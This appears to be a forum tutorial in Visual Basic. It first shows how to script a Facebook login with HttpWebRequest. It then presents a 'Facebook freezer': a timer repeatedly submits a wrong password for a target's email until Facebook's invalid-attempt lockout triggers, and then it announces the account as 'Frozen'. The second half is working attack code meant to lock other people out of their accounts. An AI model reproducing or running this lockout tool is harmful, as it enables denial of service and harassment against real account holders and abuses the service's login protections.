Visual Basic Tutorial ( Facebook Login + Facebook freezer with http Web request )

Facebook Login + Facebook freezer with http Web request
I've Found a Way for Login into FaceBook Using HttpWebRequest

Download Visual Basic:
http://www.microsoft.com/visualstudio/en-us

By Using This You Need
    Textboxs
    Textbox1 for Email
    Textbox2 For Password (put the PasswordChar to systemDefault)
    Button for Login


Ours Imports :-
Code:
Imports System.Net
Imports System.Text
Imports System.IO


After the Public Class Form Add this :-
Code:
Dim logincookie As CookieContainer


After That Add this COde :-
Code:
Sub login(ByVal email As String, ByVal password As String)
        If TextBox1.Text = String.Empty AndAlso TextBox2.Text = String.Empty Then
            MsgBox("Put your email & password", 0, "Input data")
        Else
            Dim postData As String = "email=" & email & "&pass=" & password & ""
            Dim tempcookies As New CookieContainer
            Dim encoding As New UTF8Encoding
            Dim byteData As Byte() = encoding.GetBytes(postData)
            Dim postreq As HttpWebRequest = DirectCast(HttpWebRequest.Create("https://www.facebook.com/login.php?iphone&next=http%3A%2F%2Ftouch.facebook.com%2Findex.php%3Feu%3DD0sS06p7LA4Jn5QzzqNH?Qg&refsrc=http%3A%2F%2Ftouch.facebook.com%2F"), HttpWebRequest)
            postreq.Method = "POST"
            postreq.KeepAlive = True
            postreq.CookieContainer = tempcookies
            postreq.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre"
            postreq.ContentType = "application/x-www-form-urlencoded"
            postreq.Referer = "http://touch.facebook.com/login.php?next=http%3A%2F%2Ftouch.facebook.com%2Findex.php%3Feu%3DD0sS06p7LA4Jn5?QzzqNHQg&refsrc=http%3A%2F%2Ftouch.facebook.com%2F&_rdr"
            postreq.ContentLength = byteData.Length
            Dim postreqstream As Stream = postreq.GetRequestStream()
            postreqstream.Write(byteData, 0, byteData.Length)
            postreqstream.Close()
            Dim postresponse As HttpWebResponse
            postresponse = DirectCast(postreq.GetResponse, HttpWebResponse)
            tempcookies.Add(postresponse.Cookies)
            logincookie = tempcookies
            Dim postreqreader As New StreamReader(postresponse.GetResponseStream())
            Dim thepage As String = postreqreader.ReadToEnd
            If thepage.Contains("Incorrect email/password combination") = True Then
                MsgBox("Incorrect email/password combination", 0, "Login error!")
            Else
                MsgBox("Logged in", 0, "Success!")
            End If
            If thepage.Contains("You have exceeded the number of invalid login attempts that we allow for your account") = True Then
                MsgBox("You have exceeded the number of invalid login attempts", 0, "Max number of wrong logins")
            End If
        End If
    End Sub




Click the Button1 and Add this Code :-
Code:
login(TextBox1.Text, textbox2.text)
========================================================


You Also Use it as the FaceBook Freezer By Using httpwebrequest it should be very fast


Put this Code in Timer1_trick :-
Code:
login(TextBox1.Text, "12312332112123")


Freezer Login Code :-
Code:
Sub login(ByVal email As String, ByVal password As String)
            Dim postData As String = "email=" & email & "&pass=" & password & ""
            Dim tempcookies As New CookieContainer
            Dim encoding As New UTF8Encoding
            Dim byteData As Byte() = encoding.GetBytes(postData)
            Dim postreq As HttpWebRequest = DirectCast(HttpWebRequest.Create("https://www.facebook.com/login.php?iphone&next=http%3A%2F%2Ftouch.facebook.com%2Findex.php%3Feu%3DD0sS06p7LA4Jn5QzzqNH?Qg&refsrc=http%3A%2F%2Ftouch.facebook.com%2F"), HttpWebRequest)
            postreq.Method = "POST"
            postreq.KeepAlive = True
            postreq.CookieContainer = tempcookies
            postreq.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre"
            postreq.ContentType = "application/x-www-form-urlencoded"
            postreq.Referer = "http://touch.facebook.com/login.php?next=http%3A%2F%2Ftouch.facebook.com%2Findex.php%3Feu%3DD0sS06p7LA4Jn5?QzzqNHQg&refsrc=http%3A%2F%2Ftouch.facebook.com%2F&_rdr"
            postreq.ContentLength = byteData.Length
            Dim postreqstream As Stream = postreq.GetRequestStream()
            postreqstream.Write(byteData, 0, byteData.Length)
            postreqstream.Close()
            Dim postresponse As HttpWebResponse
            postresponse = DirectCast(postreq.GetResponse, HttpWebResponse)
            tempcookies.Add(postresponse.Cookies)
            logincookie = tempcookies
            Dim postreqreader As New StreamReader(postresponse.GetResponseStream())
            Dim thepage As String = postreqreader.ReadToEnd
            If thepage.Contains("You have exceeded the number of invalid login attempts that we allow for your account") = True Then
                MsgBox("The FaceBook account " & (TextBox1.Text) & " is Frozen", MsgBoxStyle.OkOnly, "Operation Successfull")
        End If
    End Sub

Click the Button1 and Add this Code :-
Code:
Timer1.Start()